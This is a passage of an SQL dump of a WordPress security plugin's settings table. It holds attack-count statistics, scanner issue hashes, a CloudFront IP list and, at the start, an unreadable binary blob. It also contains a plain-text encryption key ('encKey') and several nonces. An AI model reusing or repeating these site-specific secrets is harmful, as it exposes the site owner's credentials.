?>V۫W\Zjs<gNMgJ\"~dxȈ޸<!B|$k݈# ei%0D۞V蚹xRBBy%hWvǶm}nG>pѹW5wOE̾mG. Ճg?rТjs$_D&֗Or~4cuB]\'XXG^&\\RT5)\\Np[>&]:.ѥׇ4UhnlhʫjF**\ZWnfrP#3mdnnunpU0 l6ZiRw֢$¡桘3D\\[I{)L&x~@}7@*YG;s>_I1hzBX?\"MwD=O$l\ZI9<0ox>Ƹӂ*oR1ԗP5TIML1\Z?f]t2Ј5$S(]4PcUv᢭(c̈́ɯTνڐ$_SЊ|;7\"L~ޅLE`!)lʛhLO/̩3z4ΚC:Ufz^^Gn/pR1C̬202J΍<:_B!s*l6\"Q_ȹ2a7(&\nn䱈_x|JL]^* <\\U}\"As?C9`r0É\01yiN7,N]8ϪC,01Sͭ-abpYx{VcolNGqlkbañԟyb@Y(J5}׸dt`Mur:_,u\'}]R`HƂUz[w\\=ʼ\0[\nKix-b>,EdҔ\nN-\09pM0+~01a`6ςQ9-&+!8%m8si,c>3g͸r:6r½c	h{M\\J,k\r?Ke#pjm=N+Ar	);FO\Z/ކf?xȃ9\rQP@\r\ZSz\nEOwF.P)n><WS)_]Ya\'kY_otr)CEIm/;ggŭƱ0`8^\\Ƌ~n+r;e?oM%J$If#hp$	[2e%jUM*.=ԍ:ckt*(̡>URM/ew\'TOE[q:Sk! ˎ\\~J7$kSsYme(|.ŹzZ[ɺQWjLf9ܪ\n|LS\"ot[\'j~O1\"hr:N0s]䶤^Bu\0$b\"1,	Hp	3:X+O2>dpmݞ\Z\'r\0L=D!D&ǹ	\\,^x5몾lc읋qoןK֛+>xy8\"lqN!_\rт>3f%؂!a29\n`F_h*y.ZۭP0\"j=xat\\K7[&J9*o9q?DQ[::js^Z@2nve)e_u!9]we<΁iJkNuMٍOI0x{MyR\r~SBSThZs*[?	POvI}7+ƕAl欿Bt\'stshwk1]\':&etbt*\n\'Z%$^*BR_~;Ak8\\=>J1~(Acqo%TFO-GzJTN>\'#.ض۬\\]>EOXUaLG`\ry~E~|\nRi)fl饔e})ld*ÀIF^ȯܒW@~ݘ0(UޕM!\0מTžd8(h]sx\"8pp9Y$SH,iw?\'m헛\'A5\'@:BuZzl\\T`l 9睪PkKVd*X\0MoDO=hW\0 7$RTbzHpf?@јݲIG]it\'j)\r\n$O1RO/gGw*gqM;>l\nA>khR8w\\r#a۰fh̀F M[\"n<Rq0͞Z;kA,L\'qJ[An>P:74iw!J[h7e^JTuVڅ6bJR#ԲYunnO#\rF1_Ң\'Sz<J8@bDn6xp4(bAXa;WRu\\Qi窍gDH	;\0#M<%h۰).Ц}w\"\02fz<\nZnBA\\M]VEnVj{vH[E?y/_,5V^,~<FXBVvc\nizNy׊}˜.\Z^膡j+϶m^lB9_N\0]Iʒ|*w~^,j.CJ3II%%\"ЖX~X4;;]*	&\"TQWvRid3m`a3\r3?TG5GB뱭NTJc{P==<ei|MqZ]V[]&I-q9)g0TgOrP~tgng(W{v^Z}ȐC6ݞ+?۸ZPd?P\\kO}H\"F+:̵LZKAry9H$Ī50K5:\'Ċ$ԺIMTbCS@諅y`6׆dŪC*k]0ɾ\"Ͷ#8K[\0ƕhH#aBDsOxQQL9omѠuu5.qr|\Zゐ5bT2ph=j#jR	𪏨|z03&na;$06]aV,Ykƨ;p-e*`[p5Uͳ{n!z[>ft4s^tE+WLկCҩχHhZ;P.s.1q+܋\r4t#*<v+7UZ^5>w<eP\"{	kJ\'5lhtzqAf$PduU18<KnspGRb\'Yۭ}{([߯ro.4V.@\r׻\\K}sݒh):L0j}y슟WSh5GH;V((\ZB\0\rlŗBs#3?+WpPMk]<px_\"RLkiGAp\Z\\?h8Q$d1ˌGPP(ϞS3Q?(H|,;pH@yƄk}{[W{LG.vOǫ\"J\":rPnoRn+5-R\nqyM\r6IcE,M+,ǖf MP[Y&\r,YDxxSb*JEow]l;jVތ\Z~VDZ6aW_tʩk[ l-\0%;w`=\n^;HgR2gi\nB_[\074w5qhY=\"f+ZƲ{<lm\0翦P).Eo6V!(9%u\Z!nQy1Щ3&Ttȹ8=SPyYmmUIOF	!qO~þ`Ϸ7i.KK{1Xq\"SSw	4p<Cβl$CҾY_G%̗A;3@\"_d/5Z|\\T-BD\",Quܳn.A\ZXm,P\rJh(bXRLl}s@˺O}:?ݝZɥ6mgH<mbm^xQ#\0tgFNv&W\"Ĳ}:kS-e&sc\"V.ɣo)l#bQ{ΟXQ,-\"k}a뫪1hؗ]m3ĺXqÏj_y[+xEV0zxi\nF\n+f![?Ii~MPDt#@*74欋\\M=Oh=ln&ăJӗ~lL;-F\0U*/d.>z_[R|L<uQRVxbLͲ&f8+&\ZGȇ.Xs	b[yiC\0Tq@W~up)N®mU 0p3Tvv\"WqƝ}3eͷ}i&N{ṜgIU9\0ڡSwq\\(LpR^Lw:bD^J<#lV B<&bB筢09Z/|1p_mo<e{FEP\n-,5HNvR98qKn<J{bZ]X)8P:@\r%-,$yk\\3딢ߓ{B2AG<&%߼w$cTV¶\r|f7hCp\ZW!;?Mu\rCQ@@c7e-z\\N\n*,7p8wG+dUxXcѨV*6i(HXw6[|JaʹЖq^Oh;xA3-\rhM>kv7[ׇd̂zR<2K7II!1&j[656i8ntl*?/]\Z4tX*5\0\n\"E s8т\\9`\\&S9~{-LKŝITi;u!\n#e\"L2OVJR@\'8\rB\'}ց2:e<DjҔNϼ7UeH> -%G(m\0DO;^Klظ!/?aFz#U%f{xi<f;KZ9ްNWj_H]͚VIR[냛B6B}(ҋyp\"c\'rrF4k~P,oʂ-~Bʾi>1/#fpUmaIVS!L#yXoa\\DŞhebh?)31us_sШd>V*R/\0ӷ~r%\"8lbκ\"7eE=n~͙\'2C/r\r̈\r;JUˑ-\\B?	CQc2 Gehh܆#gerxM\ZV#	^kpލ\"Ǣ@\npy4&7:wOh4jyD5euL*:\0Lѽ)$f\\ɦ\Z/\\|{<nн>!2_Ud~p7O\";}r*Hr\Z\0','no'),
('currentCronKey','','yes'),
('dashboardData','a:4:{s:9:\"generated\";i:1789248343;s:3:\"tdf\";a:3:{s:9:\"community\";i:7329;s:7:\"premium\";i:7393;s:9:\"blacklist\";i:22618;}s:10:\"attackdata\";a:3:{s:3:\"24h\";a:24:{i:0;a:2:{s:1:\"t\";i:1789160400;s:1:\"c\";i:8726313;}i:1;a:2:{s:1:\"t\";i:1789164000;s:1:\"c\";i:9557394;}i:2;a:2:{s:1:\"t\";i:1789167600;s:1:\"c\";i:9971505;}i:3;a:2:{s:1:\"t\";i:1789171200;s:1:\"c\";i:9832199;}i:4;a:2:{s:1:\"t\";i:1789174800;s:1:\"c\";i:9716672;}i:5;a:2:{s:1:\"t\";i:1789178400;s:1:\"c\";i:9745021;}i:6;a:2:{s:1:\"t\";i:1789182000;s:1:\"c\";i:9672558;}i:7;a:2:{s:1:\"t\";i:1789185600;s:1:\"c\";i:9452191;}i:8;a:2:{s:1:\"t\";i:1789189200;s:1:\"c\";i:9660419;}i:9;a:2:{s:1:\"t\";i:1789192800;s:1:\"c\";i:9478824;}i:10;a:2:{s:1:\"t\";i:1789196400;s:1:\"c\";i:8790761;}i:11;a:2:{s:1:\"t\";i:1789200000;s:1:\"c\";i:8787921;}i:12;a:2:{s:1:\"t\";i:1789203600;s:1:\"c\";i:9064094;}i:13;a:2:{s:1:\"t\";i:1789207200;s:1:\"c\";i:8737231;}i:14;a:2:{s:1:\"t\";i:1789210800;s:1:\"c\";i:8515035;}i:15;a:2:{s:1:\"t\";i:1789214400;s:1:\"c\";i:8222586;}i:16;a:2:{s:1:\"t\";i:1789218000;s:1:\"c\";i:8256606;}i:17;a:2:{s:1:\"t\";i:1789221600;s:1:\"c\";i:8303690;}i:18;a:2:{s:1:\"t\";i:1789225200;s:1:\"c\";i:8050913;}i:19;a:2:{s:1:\"t\";i:1789228800;s:1:\"c\";i:7876379;}i:20;a:2:{s:1:\"t\";i:1789232400;s:1:\"c\";i:7426375;}i:21;a:2:{s:1:\"t\";i:1789236000;s:1:\"c\";i:7250811;}i:22;a:2:{s:1:\"t\";i:1789239600;s:1:\"c\";i:7504968;}i:23;a:2:{s:1:\"t\";i:1789243200;s:1:\"c\";i:7318572;}}s:2:\"7d\";a:7:{i:0;a:2:{s:1:\"t\";i:1788566400;s:1:\"c\";i:234713643;}i:1;a:2:{s:1:\"t\";i:1788652800;s:1:\"c\";i:231131741;}i:2;a:2:{s:1:\"t\";i:1788739200;s:1:\"c\";i:218580183;}i:3;a:2:{s:1:\"t\";i:1788825600;s:1:\"c\";i:203366429;}i:4;a:2:{s:1:\"t\";i:1788912000;s:1:\"c\";i:210384502;}i:5;a:2:{s:1:\"t\";i:1788998400;s:1:\"c\";i:180841446;}i:6;a:2:{s:1:\"t\";i:1789084800;s:1:\"c\";i:195456383;}}s:3:\"30d\";a:30:{i:0;a:2:{s:1:\"t\";i:1786579200;s:1:\"c\";i:228631046;}i:1;a:2:{s:1:\"t\";i:1786665600;s:1:\"c\";i:233079412;}i:2;a:2:{s:1:\"t\";i:1786752000;s:1:\"c\";i:256717647;}i:3;a:2:{s:1:\"t\";i:1786838400;s:1:\"c\";i:271526196;}i:4;a:2:{s:1:\"t\";i:1786924800;s:1:\"c\";i:213160825;}i:5;a:2:{s:1:\"t\";i:1787011200;s:1:\"c\";i:260637646;}i:6;a:2:{s:1:\"t\";i:1787097600;s:1:\"c\";i:279988408;}i:7;a:2:{s:1:\"t\";i:1787184000;s:1:\"c\";i:255782504;}i:8;a:2:{s:1:\"t\";i:1787270400;s:1:\"c\";i:238708261;}i:9;a:2:{s:1:\"t\";i:1787356800;s:1:\"c\";i:228918257;}i:10;a:2:{s:1:\"t\";i:1787443200;s:1:\"c\";i:242770355;}i:11;a:2:{s:1:\"t\";i:1787529600;s:1:\"c\";i:239968513;}i:12;a:2:{s:1:\"t\";i:1787616000;s:1:\"c\";i:298772154;}i:13;a:2:{s:1:\"t\";i:1787702400;s:1:\"c\";i:626001472;}i:14;a:2:{s:1:\"t\";i:1787788800;s:1:\"c\";i:552029978;}i:15;a:2:{s:1:\"t\";i:1787875200;s:1:\"c\";i:411732671;}i:16;a:2:{s:1:\"t\";i:1787961600;s:1:\"c\";i:357650541;}i:17;a:2:{s:1:\"t\";i:1788048000;s:1:\"c\";i:334239278;}i:18;a:2:{s:1:\"t\";i:1788134400;s:1:\"c\";i:553857958;}i:19;a:2:{s:1:\"t\";i:1788220800;s:1:\"c\";i:331426504;}i:20;a:2:{s:1:\"t\";i:1788307200;s:1:\"c\";i:233435686;}i:21;a:2:{s:1:\"t\";i:1788393600;s:1:\"c\";i:223678231;}i:22;a:2:{s:1:\"t\";i:1788480000;s:1:\"c\";i:195622036;}i:23;a:2:{s:1:\"t\";i:1788566400;s:1:\"c\";i:234713643;}i:24;a:2:{s:1:\"t\";i:1788652800;s:1:\"c\";i:231131741;}i:25;a:2:{s:1:\"t\";i:1788739200;s:1:\"c\";i:218580183;}i:26;a:2:{s:1:\"t\";i:1788825600;s:1:\"c\";i:203366429;}i:27;a:2:{s:1:\"t\";i:1788912000;s:1:\"c\";i:210384502;}i:28;a:2:{s:1:\"t\";i:1788998400;s:1:\"c\";i:180841446;}i:29;a:2:{s:1:\"t\";i:1789084800;s:1:\"c\";i:195456383;}}}s:9:\"countries\";a:1:{s:2:\"7d\";a:10:{i:0;a:2:{s:2:\"cd\";s:2:\"US\";s:2:\"ct\";i:655558740;}i:1;a:2:{s:2:\"cd\";s:2:\"NL\";s:2:\"ct\";i:256383773;}i:2;a:2:{s:2:\"cd\";s:2:\"SG\";s:2:\"ct\";i:195700798;}i:3;a:2:{s:2:\"cd\";s:2:\"DE\";s:2:\"ct\";i:181988571;}i:4;a:2:{s:2:\"cd\";s:2:\"FR\";s:2:\"ct\";i:134236718;}i:5;a:2:{s:2:\"cd\";s:2:\"IN\";s:2:\"ct\";i:105469595;}i:6;a:2:{s:2:\"cd\";s:2:\"GB\";s:2:\"ct\";i:84302639;}i:7;a:2:{s:2:\"cd\";s:2:\"CN\";s:2:\"ct\";i:74584482;}i:8;a:2:{s:2:\"cd\";s:2:\"VN\";s:2:\"ct\";i:57802075;}i:9;a:2:{s:2:\"cd\";s:2:\"ID\";s:2:\"ct\";i:40998216;}}}}','no'),
('dbTest','a:1:{s:5:\"nonce\";s:64:\"d01ed8b18c97b5876b497e2cbd27771f8ba8b736d3d7dd934388c35cead542b1\";}','no'),
('dbVersion','10.11.19-MariaDB','yes'),
('debugOn','0','yes'),
('deleteTablesOnDeact','0','yes'),
('detectProxyNextCheck','1789855905','no'),
('detectProxyNonce','e0fbad370df5d3dda9b8f7b820c423729a7c7228b4f0fa85e93aaff60418eb6f','no'),
('detectProxyRecommendation','DEFERRED','no'),
('diagnosticsWflogsRemovalHistory','[]','no'),
('disableCodeExecutionUploads','0','yes'),
('disableConfigCaching','0','yes'),
('disableWAFIPBlocking','0','yes'),
('disclosureStates','a:1:{s:33:\"wf-unified-scanner-options-custom\";b:1;}','yes'),
('dismissAutoPrependNotice','0','yes'),
('displayAutomaticBlocks','1','yes'),
('displayTopLevelAuditLog','1','yes'),
('displayTopLevelBlocking','0','yes'),
('displayTopLevelLiveTraffic','0','yes'),
('displayTopLevelOptions','1','yes'),
('emailedIssuesList','a:62:{i:0;a:2:{s:7:\"ignoreC\";s:32:\"6fd0d290b978eab8027e6b79501ac149\";s:7:\"ignoreP\";s:32:\"6fd0d290b978eab8027e6b79501ac149\";}i:1;a:2:{s:7:\"ignoreC\";s:32:\"cb9ec072428995d6a6e796fea1719912\";s:7:\"ignoreP\";s:32:\"002ae3813b0f6a85d7c47421b65de3c0\";}i:2;a:2:{s:7:\"ignoreC\";s:32:\"88c7eeb85a53cfc9f396214285b15d94\";s:7:\"ignoreP\";s:32:\"6ec6f173ec1eda14c25bfb8fac433029\";}i:3;a:2:{s:7:\"ignoreC\";s:32:\"8f4722deb9e7212303f87d89ed9f593e\";s:7:\"ignoreP\";s:32:\"1b0aad78f15de50d8171f1eb3f8be548\";}i:4;a:2:{s:7:\"ignoreC\";s:32:\"dc710557c2cd36a02b32c619ff868e14\";s:7:\"ignoreP\";s:32:\"0e34b1fdce705fe646e4e29d97c4f014\";}i:5;a:2:{s:7:\"ignoreC\";s:32:\"ec3d3c291e20e2b1cb345039b5aa6dba\";s:7:\"ignoreP\";s:32:\"4cf14d0cd290d3009c51c4d5da0b8761\";}i:6;a:2:{s:7:\"ignoreC\";s:32:\"b4485967aa81afe86e2a796098bb5991\";s:7:\"ignoreP\";s:32:\"0eb60f7498d8239a4731138a40365e68\";}i:7;a:2:{s:7:\"ignoreC\";s:32:\"35935a61cd54c618bc16890d7e624d66\";s:7:\"ignoreP\";s:32:\"2b2aea6363f6e5e37149cf50d38ccf54\";}i:8;a:2:{s:7:\"ignoreC\";s:32:\"6e4b3e3cddad8b949d02298c2a98fbdc\";s:7:\"ignoreP\";s:32:\"4d4d8d99356d942c1b01018682f383f7\";}i:9;a:2:{s:7:\"ignoreC\";s:32:\"4aeb049305d83e3f1ca5801a2479f30e\";s:7:\"ignoreP\";s:32:\"572997bf75868baad050d2ad460926e9\";}i:10;a:2:{s:7:\"ignoreC\";s:32:\"952c9c6b9400085bb9b61263db1dec24\";s:7:\"ignoreP\";s:32:\"517110a1ac415093c0f5ec88b46fb756\";}i:11;a:2:{s:7:\"ignoreC\";s:32:\"aefe97dd3b3f24c95274aad3d99ad121\";s:7:\"ignoreP\";s:32:\"8796f9695b06201292bf44128fde3fb5\";}i:12;a:2:{s:7:\"ignoreC\";s:32:\"b5ad121a53412a25305db585e710f7c3\";s:7:\"ignoreP\";s:32:\"2746653f4ed18fdb455be0e64279f8cf\";}i:13;a:2:{s:7:\"ignoreC\";s:32:\"0f82655896a54e82c533477acc9f40fd\";s:7:\"ignoreP\";s:32:\"4b9c5a5f03f3e9cabb1b5d1b01b7efa5\";}i:14;a:2:{s:7:\"ignoreC\";s:32:\"1b3ccfdaca0796cba71f1f2ff002cb20\";s:7:\"ignoreP\";s:32:\"7d0d9ad0e48d6ae3cfa9ae6f4d03ddac\";}i:15;a:2:{s:7:\"ignoreC\";s:32:\"1ced8806b44c2efb1ba6221bd2989c8c\";s:7:\"ignoreP\";s:32:\"a306814d046fe9786cdcb21768c611e9\";}i:16;a:2:{s:7:\"ignoreC\";s:32:\"6adb49a3fe719090877d1ac03d17beff\";s:7:\"ignoreP\";s:32:\"3c55e2142e97193d4e764edcc5141af2\";}i:17;a:2:{s:7:\"ignoreC\";s:32:\"0833ab79ba65048d489f3ec9ab10056e\";s:7:\"ignoreP\";s:32:\"ae085a007645957c2f5f5ddbf64192aa\";}i:18;a:2:{s:7:\"ignoreC\";s:32:\"f1413630954f5860a925fc094ec5fb58\";s:7:\"ignoreP\";s:32:\"5eae5534866fd7fbbc269cddec43d92f\";}i:19;a:2:{s:7:\"ignoreC\";s:32:\"a3690bf51155e83d1c084c11442bc320\";s:7:\"ignoreP\";s:32:\"76263c6fc410dc1188d4805b00ce3725\";}i:20;a:2:{s:7:\"ignoreC\";s:32:\"d0dfff9d34df13dcf1d82ea395f09bda\";s:7:\"ignoreP\";s:32:\"fec031efe2a65cde152368217d9cba01\";}i:21;a:2:{s:7:\"ignoreC\";s:32:\"402b2973c661b3b720a48b243e07e402\";s:7:\"ignoreP\";s:32:\"92391657791d272672b3fd9b8901327b\";}i:22;a:2:{s:7:\"ignoreC\";s:32:\"428ac5a5d90f9cfa2f649e63aa90753e\";s:7:\"ignoreP\";s:32:\"4f22151702e7e6316a8dd864e09efae7\";}i:23;a:2:{s:7:\"ignoreC\";s:32:\"789861f1bfaf72bfa36a1ca7a0a8a716\";s:7:\"ignoreP\";s:32:\"79d82ebcf915c8613a5c3e951239b9b1\";}i:24;a:2:{s:7:\"ignoreC\";s:32:\"4863c12747d235fd4453f1135dfaedfb\";s:7:\"ignoreP\";s:32:\"46bc476595f91bad05c04b27a0c4ab7b\";}i:25;a:2:{s:7:\"ignoreC\";s:32:\"6eec36933f420343b4c8ad7025cc8a03\";s:7:\"ignoreP\";s:32:\"a5e059780da3c47731a2ca83a98aa07b\";}i:26;a:2:{s:7:\"ignoreC\";s:32:\"a7e2c76877bbba49233b9f5c32eae3b7\";s:7:\"ignoreP\";s:32:\"107bb910d73ba31c1a94acddf7cf926e\";}i:27;a:2:{s:7:\"ignoreC\";s:32:\"90c6573293e136dde12f6e8f783bf5d1\";s:7:\"ignoreP\";s:32:\"1c4e1114ea0557e2b1b2830885037465\";}i:28;a:2:{s:7:\"ignoreC\";s:32:\"a780c6713b99e031cbe81d3a284265d1\";s:7:\"ignoreP\";s:32:\"a5ed66448a9fa6b7f5a1b4d2392c04b4\";}i:29;a:2:{s:7:\"ignoreC\";s:32:\"db2ac8cff7b5a678c888fd0f7150673b\";s:7:\"ignoreP\";s:32:\"e4b76b1d6a8955b427bf7d8b0c6e9e67\";}i:30;a:2:{s:7:\"ignoreC\";s:32:\"b900f7fe1dc33b9686d69b8354b09069\";s:7:\"ignoreP\";s:32:\"4bcdaadb8f257767ca1051d786d1e0c9\";}i:31;a:2:{s:7:\"ignoreC\";s:32:\"b690808905b37f93a6cd8a85e59d7ccd\";s:7:\"ignoreP\";s:32:\"f2f29c821a4f4671f2ebc0b6df11f33d\";}i:32;a:2:{s:7:\"ignoreC\";s:32:\"87dd470bbdd32e278f75ef4eb273c400\";s:7:\"ignoreP\";s:32:\"edeb2ff418160d714ffb1d78b86f79b9\";}i:33;a:2:{s:7:\"ignoreC\";s:32:\"2beed2d96640aa6f553b87810571a595\";s:7:\"ignoreP\";s:32:\"f4fcca2e06ad71fe8ddb3d63c54ef30b\";}i:34;a:2:{s:7:\"ignoreC\";s:32:\"12ae8dbc1e4261eff90b7d99db883dcd\";s:7:\"ignoreP\";s:32:\"0b4c3890f3628c539a3378088325dbe1\";}i:35;a:2:{s:7:\"ignoreC\";s:32:\"bf7111ccfb46d9072e01189ff0448605\";s:7:\"ignoreP\";s:32:\"30cd26b698f1caa31af279c83164127a\";}i:36;a:2:{s:7:\"ignoreC\";s:32:\"5268de9c2af19b271fdde4c69299409d\";s:7:\"ignoreP\";s:32:\"3628f629706e0bd47a5728d27867c664\";}i:37;a:2:{s:7:\"ignoreC\";s:32:\"c05b93fc50f104fd337c7b8aa5f76881\";s:7:\"ignoreP\";s:32:\"371c66e5a753b77bdf570d8a71c12492\";}i:38;a:2:{s:7:\"ignoreC\";s:32:\"cb7f7462fbcaca9fc82634833923ebca\";s:7:\"ignoreP\";s:32:\"e26ed39b99dc3a12ad803099bd95558b\";}i:39;a:2:{s:7:\"ignoreC\";s:32:\"6a193d44262a6eb695e6aafc9812a294\";s:7:\"ignoreP\";s:32:\"d660106ee1a5893317441b8384d497b6\";}i:40;a:2:{s:7:\"ignoreC\";s:32:\"1b290f611670131f081082129b138d32\";s:7:\"ignoreP\";s:32:\"7215ba0666195931ce1cd0034dbd9925\";}i:41;a:2:{s:7:\"ignoreC\";s:32:\"d0ecf14c3ed1b56e41b9142bef05f722\";s:7:\"ignoreP\";s:32:\"8224c8214ac8d707e9ab0fc22fa07c17\";}i:42;a:2:{s:7:\"ignoreC\";s:32:\"3eb5c3e77aeef42d9a0e8047e59db9f3\";s:7:\"ignoreP\";s:32:\"ec0d62cbba4dca17ffa0d6a7b283fe08\";}i:43;a:2:{s:7:\"ignoreC\";s:32:\"e95c24f7cfe48d3746a6575db12d21e0\";s:7:\"ignoreP\";s:32:\"3699b95233a8abea4b42bd6934317262\";}i:44;a:2:{s:7:\"ignoreC\";s:32:\"0bc88e7b08be3754335d0788b138f84b\";s:7:\"ignoreP\";s:32:\"79b934f7a6371a1f373967d1ea155aab\";}i:45;a:2:{s:7:\"ignoreC\";s:32:\"e95c24f7cfe48d3746a6575db12d21e0\";s:7:\"ignoreP\";s:32:\"edc5db73f47afeeff925d62f9c7249b6\";}i:46;a:2:{s:7:\"ignoreC\";s:32:\"e95c24f7cfe48d3746a6575db12d21e0\";s:7:\"ignoreP\";s:32:\"6fe13ef8902a8bf294a3f24d287d8ff5\";}i:47;a:2:{s:7:\"ignoreC\";s:32:\"95eabaf3420847caf34fb7205053ba01\";s:7:\"ignoreP\";s:32:\"3b767e41660a533c4fab18faddbcbe6e\";}i:48;a:2:{s:7:\"ignoreC\";s:32:\"e95c24f7cfe48d3746a6575db12d21e0\";s:7:\"ignoreP\";s:32:\"e900b760d618253a72a8e40acecb5933\";}i:49;a:2:{s:7:\"ignoreC\";s:32:\"0673df8eb8c1bbc12c3453265bdb350b\";s:7:\"ignoreP\";s:32:\"ea9a29e27262232d5345920f4ace8463\";}i:50;a:2:{s:7:\"ignoreC\";s:32:\"e95c24f7cfe48d3746a6575db12d21e0\";s:7:\"ignoreP\";s:32:\"21b17f3fbbb96c4d47de5e0a9ec21b98\";}i:51;a:2:{s:7:\"ignoreC\";s:32:\"e95c24f7cfe48d3746a6575db12d21e0\";s:7:\"ignoreP\";s:32:\"5e3e5f6198d767de74268ce4e50bd714\";}i:52;a:2:{s:7:\"ignoreC\";s:32:\"638a9b9ae1a9bf6e2a90f05037d2fcf6\";s:7:\"ignoreP\";s:32:\"e4cd29838261dd0ee034abb6cd9348d3\";}i:53;a:2:{s:7:\"ignoreC\";s:32:\"e95c24f7cfe48d3746a6575db12d21e0\";s:7:\"ignoreP\";s:32:\"24279c7c887cf16efc9e66d4320ce9b6\";}i:54;a:2:{s:7:\"ignoreC\";s:32:\"e95c24f7cfe48d3746a6575db12d21e0\";s:7:\"ignoreP\";s:32:\"8d1e2beb1b1e721c899c52e47cf0de7d\";}i:55;a:2:{s:7:\"ignoreC\";s:32:\"e95c24f7cfe48d3746a6575db12d21e0\";s:7:\"ignoreP\";s:32:\"71fc35f6b5811b7dec66d7519514d554\";}i:56;a:2:{s:7:\"ignoreC\";s:32:\"e95c24f7cfe48d3746a6575db12d21e0\";s:7:\"ignoreP\";s:32:\"0ef13645527939fee15bfbf0c9fdd09d\";}i:57;a:2:{s:7:\"ignoreC\";s:32:\"e95c24f7cfe48d3746a6575db12d21e0\";s:7:\"ignoreP\";s:32:\"db80aca6a940121c752475874357882b\";}i:58;a:2:{s:7:\"ignoreC\";s:32:\"4d437f7129913dc45d244ab7fd60f39a\";s:7:\"ignoreP\";s:32:\"010260fa51e252e87562692f0a778cf3\";}i:59;a:2:{s:7:\"ignoreC\";s:32:\"6716afa71057a4f6168288f3a2c5815f\";s:7:\"ignoreP\";s:32:\"cf6ab60709358d34dbd3455d89d82ed5\";}i:60;a:2:{s:7:\"ignoreC\";s:32:\"e95c24f7cfe48d3746a6575db12d21e0\";s:7:\"ignoreP\";s:32:\"13b1fe7990c498994a9c6beb1f67eb8e\";}i:61;a:2:{s:7:\"ignoreC\";s:32:\"08390ab9061d2e00e0e7b110e67c2617\";s:7:\"ignoreP\";s:32:\"08390ab9061d2e00e0e7b110e67c2617\";}}','no'),
('email_summary_dashboard_widget_enabled','1','yes'),
('email_summary_enabled','1','yes'),
('email_summary_excluded_directories','wp-content/cache,wp-content/wflogs','yes'),
('email_summary_interval','weekly','yes'),
('enableRemoteIpLookup','1','yes'),
('encKey','2e9147ebfff6ab6b','yes'),
('fileContentsGSB6315Migration','1','yes'),
('firewallEnabled','1','yes'),
('hasKeyConflict','0','yes'),
('howGetIPs','','yes'),
('howGetIPs_trusted_proxies','','yes'),
('howGetIPs_trusted_proxy_preset','','yes'),
('ipResolutionList','{\"cloudfront\":{\"name\":\"Amazon CloudFront\",\"ipv4\":[\"23.228.249.0\\/24\",\"120.52.22.96\\/27\",\"23.228.222.0\\/24\",\"205.251.249.0\\/24\",\"180.163.57.128\\/26\",\"23.228.220.0\\/24\",\"204.246.168.0\\/22\",\"111.13.171.128\\/26\",\"18.160.0.0\\/15\",\"205.251.252.0\\/23\",\"54.192.0.0\\/16\",\"204.246.173.0\\/24\",\"23.228.244.0\\/24\",\"54.230.200.0\\/21\",\"120.253.240.192\\/26\",\"23.234.192.0\\/18\",\"116.129.226.128\\/26\",\"130.176.0.0\\/17\",\"3.173.192.0\\/18\",\"108.156.0.0\\/14\",\"99.86.0.0\\/16\",\"23.228.214.0\\/24\",\"23.228.213.0\\/24\",\"13.32.0.0\\/15\",\"120.253.245.128\\/26\",\"13.224.0.0\\/14\",\"70.132.0.0\\/18\",\"15.158.0.0\\/16\",\"111.13.171.192\\/26\",\"13.249.0.0\\/16\",\"18.238.0.0\\/15\",\"18.244.0.0\\/15\",\"205.251.208.0\\/20\",\"3.165.0.0\\/16\",\"3.168.0.0\\/14\",\"23.228.251.0\\/24\",\"65.9.128.0\\/18\",\"130.176.128.0\\/18\",\"23.228.221.0\\/24\",\"23.228.248.0\\/24\",\"58.254.138.0\\/25\",\"205.251.206.0\\/23\",\"54.230.208.0\\/20\",\"3.160.0.0\\/14\",\"116.129.226.0\\/25\",\"23.91.0.0\\/19\",\"52.222.128.0\\/17\",\"18.164.0.0\\/15\",\"23.228.246.0\\/24\",\"111.13.185.32\\/27\",\"64.252.128.0\\/18\",\"205.251.254.0\\/24\",\"3.166.0.0\\/15\",\"54.230.224.0\\/19\",\"71.152.0.0\\/17\",\"216.137.32.0\\/19\",\"204.246.172.0\\/24\",\"205.251.202.0\\/23\",\"18.172.0.0\\/15\",\"120.52.39.128\\/27\",\"118.193.97.64\\/26\",\"3.164.64.0\\/18\",\"18.154.0.0\\/15\",\"3.173.0.0\\/17\",\"54.240.128.0\\/18\",\"205.251.250.0\\/23\",\"180.163.57.0\\/25\",\"52.46.0.0\\/18\",\"3.174.0.0\\/15\",\"52.82.128.0\\/19\",\"54.230.0.0\\/17\",\"54.230.128.0\\/18\",\"23.228.247.0\\/24\",\"54.239.128.0\\/18\",\"130.176.224.0\\/20\",\"36.103.232.128\\/26\",\"52.84.0.0\\/15\",\"143.204.0.0\\/16\",\"144.220.0.0\\/16\",\"120.52.153.192\\/26\",\"23.228.250.0\\/24\",\"119.147.182.0\\/25\",\"120.232.236.0\\/25\",\"111.13.185.64\\/27\",\"3.164.0.0\\/18\",\"3.172.64.0\\/18\",\"54.182.0.0\\/16\",\"58.254.138.128\\/26\",\"120.253.245.192\\/27\",\"54.239.192.0\\/19\",\"18.68.0.0\\/16\",\"18.64.0.0\\/14\",\"120.52.12.64\\/26\",\"24.110.32.0\\/19\",\"99.84.0.0\\/16\",\"205.251.204.0\\/23\",\"130.176.192.0\\/19\",\"23.228.223.0\\/24\",\"23.228.212.0\\/24\",\"52.124.128.0\\/17\",\"204.246.164.0\\/22\",\"13.35.0.0\\/16\",\"204.246.174.0\\/23\",\"3.164.128.0\\/17\",\"24.110.128.0\\/17\",\"3.172.0.0\\/18\",\"36.103.232.0\\/25\",\"119.147.182.128\\/26\",\"118.193.97.128\\/25\",\"120.232.236.128\\/26\",\"204.246.176.0\\/20\",\"65.8.0.0\\/16\",\"65.9.0.0\\/17\",\"108.138.0.0\\/15\",\"120.253.241.160\\/27\",\"3.173.128.0\\/18\",\"51.74.192.0\\/18\",\"64.252.64.0\\/18\",\"13.113.196.64\\/26\",\"13.113.203.0\\/24\",\"52.199.127.192\\/26\",\"57.182.253.0\\/24\",\"57.183.42.0\\/25\",\"13.124.199.0\\/24\",\"3.35.130.128\\/25\",\"52.78.247.128\\/26\",\"13.203.133.0\\/26\",\"13.233.177.192\\/26\",\"15.207.13.128\\/25\",\"15.207.213.128\\/25\",\"52.66.194.128\\/26\",\"13.228.69.0\\/24\",\"47.129.82.0\\/24\",\"47.129.83.0\\/24\",\"47.129.84.0\\/24\",\"52.220.191.0\\/26\",\"13.210.67.128\\/26\",\"13.54.63.128\\/26\",\"3.107.43.128\\/25\",\"3.107.44.0\\/25\",\"3.107.44.128\\/25\",\"43.218.56.128\\/26\",\"43.218.56.192\\/26\",\"43.218.56.64\\